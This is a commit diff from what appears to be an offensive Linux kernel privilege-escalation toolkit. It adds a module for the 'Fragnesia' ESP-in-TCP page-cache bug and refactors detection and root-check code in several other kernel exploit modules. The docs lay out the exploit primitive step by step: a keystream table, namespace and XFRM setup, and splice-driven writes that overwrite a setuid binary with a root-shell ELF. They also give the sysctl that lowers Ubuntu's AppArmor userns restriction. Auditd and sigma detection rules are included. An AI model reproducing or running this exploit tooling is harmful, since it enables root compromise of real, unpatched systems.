then decrypts in place, corrupting the page cache of a read-only file.
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
commit it "fixes". It is the same page-cache-write bug class as Copy
Fail / Dirty Frag, reached through a different code path.
## Primitive
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
whose keystream byte XORs the current byte to the target.
2. Enter a mapped **user namespace** + **network namespace**, bring
loopback up, and install an XFRM **ESP-in-TCP** state
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
3. A **receiver** accepts a loopback TCP connection and flips it to the
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
target file into that TCP stream behind a crafted ESP prefix.
4. The coalesce bug makes the kernel decrypt the spliced page-cache
pages in place — one chosen byte per trigger.
The exploit rewrites the first 192 bytes of a setuid-root binary
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
0 and `execve`s `/bin/sh`.
## Operations
| Op | Behaviour |
|---|---|
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
| `--detect-rules` | Emits embedded auditd + sigma rules. |
## Preconditions
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
(or chain a separate bypass). This is the scoping question the old
`_stubs/fragnesia_TBD` raised; the module ships and reports
`PRECOND_FAIL` cleanly when the userns gate is closed.
- `CONFIG_INET_ESPINTCP` built into the kernel.
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
- x86_64 (the embedded ELF payload is x86_64 shellcode).
## Port notes
The upstream PoC renders a full-screen ANSI "smash frame" TUI
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
ported — it cannot coexist with a shared multi-module dispatcher.
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
The exploit mechanism itself is reproduced faithfully.
## Verification status
This module is a **faithful port** of
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
into the SKELETONKEY module interface. The **exploit body** has not
been validated end-to-end against a known-vulnerable kernel inside the
SKELETONKEY CI matrix.
**`detect()` is now version-pinned**: the Fragnesia fix ships in
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
6.12) are currently still vulnerable per the tracker. With `--active`,
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
and reports empirically — catches stable-branch backports the version
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
primitive is structurally unreachable.
**Before promoting to 🟢:** validate the exploit end-to-end on a
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
@@ -0,0 +1,48 @@
# NOTICE — fragnesia
## Vulnerability
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
local privilege escalation. `skb_try_coalesce()` fails to propagate the
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
buffers, so the kernel loses track of the fact that a fragment is
externally backed by page-cache pages spliced in from a file. The
ESP-in-TCP receive path then decrypts in place, corrupting the page
cache of a read-only file.
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
the candidate fix explicitly cites the Dirty Frag patch
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
made a previously latent flaw practically exploitable.
## Research credit
Discovered by **William Bowling** with the **V12 security** team.
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
## SKELETONKEY role
`skeletonkey_modules.c` is a port of the V12 PoC
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
interface. The exploit primitive — the AES-GCM keystream-byte table
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
192-byte ELF payload — is reproduced from that PoC.
**Port adaptation:** the PoC's ANSI "smash frame" TUI
(`draw_smash_frame` + terminal scroll-region escape sequences) is
**not** carried over — it is incompatible with running as one module
among many under a shared dispatcher. Progress is reported with
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
support, and the embedded detection rules. Research credit belongs to
the people above.
## Verification status
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
creation. The CVE-2026-46300 fix commit is not yet pinned in this
module — see `MODULE.md`.
@@ -0,0 +1,31 @@
# Fragnesia (CVE-2026-46300) — auditd detection rules
#
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
# read-only file. These rules flag the syscall surface the exploit
# drives and writes to the setuid binaries it targets.
#
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
# skeletonkey --detect-rules --format=auditd | sudo tee \
# /etc/audit/rules.d/99-skeletonkey.rules
# Modification of common payload carriers / credential files
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
-w /bin/su -p wa -k skeletonkey-fragnesia
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
-w /etc/passwd -p wa -k skeletonkey-fragnesia
-w /etc/shadow -p wa -k skeletonkey-fragnesia
# AF_ALG socket creation (family 38) — builds the GCM keystream table
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
# XFRM state setup over NETLINK_XFRM
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
# TCP_ULP espintcp + ESP setsockopt surface
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
# splice() drives page-cache pages into the ESP-in-TCP stream
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
@@ -0,0 +1,30 @@
title: Possible Fragnesia exploitation (CVE-2026-46300)
id: 9b3d2e71-skeletonkey-fragnesia
status: experimental
description: |
Detects the file-modification footprint of the Fragnesia XFRM
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
of a setuid-root binary or credential file, typically inside a
freshly created user + network namespace.
references:
- https://github.com/v12-security/pocs/tree/main/fragnesia
- https://lists.openwall.net/netdev/2026/05/13/79
logsource:
product: linux
service: auditd
detection:
modification:
type: 'PATH'
name|startswith:
- '/usr/bin/su'
- '/bin/su'
- '/etc/passwd'
- '/etc/shadow'
not_root:
auid|expression: '!= 0'
condition: modification and not_root
level: high
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2026.46300
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* fragnesia_cve_2026_46300 SKELETONKEY module registry hook
*/
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
#define FRAGNESIA_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fragnesia_module;
#endif
@@ -59,15 +59,21 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -153,57 +159,53 @@ static const struct kernel_range fuse_legacy_range = {
sizeof(fuse_legacy_patched_branches[0]),
};
static int can_unshare_userns_mount(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
* kernels predate the code path entirely. */
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release);
v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
/* user_ns availability comes from the shared host fingerprint. The
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
* needs CLONE_NEWNS, but the kernel gates both on the same userns
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
* so the userns probe is a sound proxy. */
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n");
@@ -378,7 +380,6 @@ struct fuse_arb_ctx {
bool trigger_armed;
};
#ifdef __linux__
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
@@ -504,15 +505,6 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
(unsigned long)kaddr);
return 0;
}
#else
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
return -1;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------ */
/* exploit */
@@ -526,8 +518,11 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
return pre;
}
/* (R2) Refuse if already root — no LPE work to do. */
if (geteuid() == 0) {
/* (R2) Refuse if already root — no LPE work to do. Consult
* ctx->host first so unit tests can construct a non-root
* fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
@@ -732,7 +727,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
* runs because the arb_write primitive re-fires the trigger and
* needs the live spray.
* --------------------------------------------------------------- */
#ifdef __linux__
if (ctx->full_chain) {
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
@@ -792,7 +786,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
/* Clean up our IPC queues and mapping. The kernel slab state
* after the overflow may be unstable; we exit cleanly on success
@@ -826,6 +819,28 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
* Linux-only kernel surface. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
"(fsopen + fsconfig + userns mount) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------ */
/* embedded detection rules */
/* ------------------------------------------------------------------ */
@@ -58,16 +58,21 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -76,8 +81,6 @@
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#ifdef __linux__
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
@@ -91,31 +94,6 @@
#ifndef SOL_IP
#define SOL_IP 0
#endif
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
* constants are absent on Darwin; stub them so the .c file compiles
* cleanly under either toolchain. The actual exploit body is gated
* by `#ifdef __linux__` at runtime entry. */
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define IPPROTO_RAW 255
#define SOL_IP 0
#define IPT_SO_SET_REPLACE 64
struct ipt_replace { char dummy; };
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
#define IPC_PRIVATE 0
#define IPC_CREAT 01000
#define IPC_NOWAIT 04000
#define IPC_RMID 0
#define MSG_COPY 040000
#endif
/* ---- Kernel range ------------------------------------------------- */
@@ -139,53 +117,44 @@ static const struct kernel_range netfilter_xtcompat_range = {
/* ---- Detect ------------------------------------------------------- */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
v.release);
v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
"(bug existed since 2.6.19, 2006)\n", v.release);
"(bug existed since 2.6.19, 2006)\n", v->release);
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
"unprivileged exploit path unreachable\n");
@@ -202,8 +171,6 @@ static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_c
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
#ifdef __linux__
/* Write uid_map and gid_map after unshare so we're root in userns.
* This is the standard setgroups=deny pattern; without it the uid_map
* write is rejected on modern kernels for unprivileged callers. */
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
return 0;
}
#endif /* __linux__ — close original primitive block */
/* ---- Full-chain arb-write primitive --------------------------------
*
* Pattern (FALLBACK see module top-comment): the xt_compat 4-byte OOB
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
* patched kernel the trigger returns EINVAL on step 2 and arb_write
* returns -1 without ever queueing the follow-up. */
#ifdef __linux__
struct xtcompat_arb_ctx {
/* Spray queues kept hot across multiple arb_write calls. The
* msg_msg slots seeded here are what the finisher uses as
@@ -636,15 +599,16 @@ static int xtcompat_arb_write(uintptr_t kaddr,
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ---------------------------------------------- */
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == SKELETONKEY_OK && geteuid() == 0) {
/* Consult ctx->host first so unit tests can construct a non-root
* fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (pre == SKELETONKEY_OK && is_root) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -652,7 +616,7 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
if (is_root) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -661,11 +625,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger
@@ -944,7 +903,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
@@ -963,6 +921,33 @@ static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
* userns is Linux-only kernel surface. Stub out cleanly so the module
* still registers and `--list` / `--detect-rules` work on macOS/BSD
* dev boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- Detection rules --------------------------------------------- */
static const char netfilter_xtcompat_auditd[] =
@@ -57,16 +57,21 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -108,19 +113,6 @@ static const struct kernel_range nf_tables_range = {
* Preconditions probe
* ------------------------------------------------------------------ */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -136,44 +128,47 @@ static bool nf_tables_loaded(void)
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.14. Anything below predates it. */
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release);
"(introduced in 5.14)\n", v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
bool patched = kernel_range_is_patched(&nf_tables_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
bool nft_loaded = nf_tables_loaded();
if (!ctx->json) {
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" :
"could not test");
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
nft_loaded ? "yes" : "no (will autoload on first nft use)");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
"denied → unprivileged exploit unreachable\n");
@@ -618,7 +613,6 @@ static long slabinfo_active(const char *slab)
* Factored out so --full-chain can re-fire the trigger between
* msg_msg sprays without duplicating the batch-building logic.
* ------------------------------------------------------------------ */
#ifdef __linux__
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
{
(void)cap;
@@ -792,7 +786,6 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
usleep(20 * 1000);
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* The exploit body.
@@ -807,8 +800,11 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
return pre;
}
/* Gate 2: already root? Nothing to escalate. */
if (geteuid() == 0) {
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
* so unit tests can construct a non-root fingerprint regardless of
* the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return SKELETONKEY_OK;
@@ -825,7 +821,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
}
}
#ifdef __linux__
/* --- --full-chain path --------------------------------------- *
* Resolve offsets BEFORE doing anything destructive so we can
* refuse cleanly on hosts where we have no modprobe_path. We run
@@ -906,7 +901,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
close(sock);
return r;
}
#endif
/* --- primitive-only path: fork-isolated trigger -------------- *
* Fork: child enters userns+netns and fires the bug. If the
@@ -1070,6 +1064,28 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
* Linux-only kernel surface. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: Linux-only module "
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules ----- */
static const char nf_tables_auditd[] =
@@ -43,16 +43,21 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -99,19 +104,6 @@ static const struct kernel_range nft_fwd_dup_range = {
* Probes.
* ------------------------------------------------------------------ */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -127,45 +119,43 @@ static bool nf_tables_loaded(void)
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] nft_fwd_dup: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The offload code path only exists from 5.4 onward. Anything
* older predates the bug. */
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
"(nft offload hook introduced in 5.4)\n", v.release);
"(nft offload hook introduced in 5.4)\n", v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
